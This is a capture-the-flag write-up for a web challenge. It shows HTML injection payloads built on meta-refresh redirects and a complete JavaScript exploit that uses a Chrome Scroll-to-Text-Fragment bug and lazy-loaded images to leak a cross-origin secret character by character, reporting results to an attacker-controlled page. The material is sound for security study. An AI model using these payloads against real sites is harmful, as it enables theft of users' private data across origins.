“Bettercatalog” was a web challenge at the BSides Ahmedabad CTF 2021 that abused a bug in an old chrome version to trigger “Scroll to Text Fragment” (short: STTF) without user interaction and leak cross-origin data. More details about how STTF can be used for XS-Leaks can be found at the XS-Leaks Wiki.

Challenge description:

The catalog by bluepichu is so vulnerable, I made a secure version check this out https://bettercatalog.xyz. Please run your tests locally using docker. Source code: https://s3.amazonaws.com/bsidesahm/e9dd9cd8-b5a7-4ce9-bca1-c82e63fddcaf/bettercatalog_f4f479d06cb522dd565634479bb0dac2.tar.gz


The challenge is based on the “Catalog” challenge from Plaid CTF 2020, a detailed writeup can be found here. I’d recommend reading it before continuing to get a better overall understanding, but the main points are:

  1. A strict, nonce-based CSP is set at php/src/include/utils.php:4:
1
header("Content-Security-Policy: default-src 'nonce-$nonce'; img-src *; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/");
  1. It is possible to inject HTML via $issue["image"] at php/src/issue.php:34:
1
<img src="<?php echo $issue["image"]; ?>" />
  1. It is possible to inject HTML via $_POST["username"] at php/src/user.php:38 by trying to login with an invalid username and password, whereby the username is reflected at php/src/include/header.php:48:
1
flash("error", "<em>Zap!</em> Incorrect password for user <b>{$_POST["username"]}</b>.");
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php if (isset($_SESSION["flash"])) { ?>
	<div class="messages">
		<?php foreach ($_SESSION["flash"] as $message) { ?>
			<div class="message <?php echo $message["severity"]; ?>">
				<?php echo $message["content"]; ?>
			</div>
		<?php } ?>
	</div>
<?php unset($_SESSION["flash"]); ?>
<?php } ?>

While reading the writeup for “Catalog” and seeing “Scroll to Text Fragment” mentioned, I remembered stumbling upon this chromium issue by s1r1us. We can use this in combination with image lazy-loading to determine if a STTF was successful without requiring user interaction!

The steps are as follows:

  1. Create an issue that redirects to the issue with the flag. This is required to bypass the need of user interaction for STTF.
1
"><meta http-equiv="refresh" content="0.5;https://bettercatalog.xyz/issue.php?id=4">`
  1. Create another issue that redirects to our page hosting the actual script to leak the flag character by character:
1
"><meta http-equiv="refresh" content="0;http://your.site/">
  1. Implement the PoC from the chromium bug report by s1r1us into a script that leaks the flag.
  2. Submit the issue from step 2 to the admin.

Getting the script to work reliably took most of my time, for some reason STTF only triggered if there was a specific delay between changing frames[0].location. There are probably also better ways to do it than how I did it, but here is my script that worked well enough to leak the flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<body></body>
<script>
  const payload = `"><img src="https://eskipaper.com/images/large-2.jpg" width="500px" height="3080px" loading="lazy"><img src="${window.origin}/loaded" width="10" height="10" loading="lazy"><em>`;
  const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789}";
  //const chars = "01234_56789";
  const issueId = 4;
  const redirectId = 94;
  let flag = "NEKO{";

  const sleep = (ms) => {
    return new Promise(r => setTimeout(r, ms));
  }

  const check = async (char) => {
    const iframe = document.createElement("iframe");
    iframe.src = `https://bettercatalog.xyz/issue.php?id=${issueId}`;
    iframe.width = "100%";
    iframe.height = "30%";
    document.body.appendChild(iframe);

    await sleep(200);
    frames[0].location = `https://bettercatalog.xyz/issue.php?id=${redirectId}`; // redirects to issue with the flag
    await sleep(400);

    // inject paylod into next page
    fetch("https://bettercatalog.xyz/user.php", {
      method: "POST",
      mode: "no-cors",
      credentials: "include",
      headers: {
        "content-type": "application/x-www-form-urlencoded"
      },
      body: `username=${encodeURIComponent(payload)}&password=fail&action=login`
    });

    await sleep(600);
    frames[0].location = `https://bettercatalog.xyz/issue.php?id=${issueId}#:~:text=${flag[flag.length - 3]}-,${flag[flag.length - 2]},${flag[flag.length - 1]},-${char}`
    await sleep(700);

    document.body.removeChild(iframe);
  };

  (async () => {
    for (let c of chars) {
      fetch("/checking?c=" + c);
      check(c);
      await sleep(1950);
    }
  })();
</script>

Doing this character by character and updating the flag in the script, we get the flag: NEKO{ITS_4_5M4LL_1}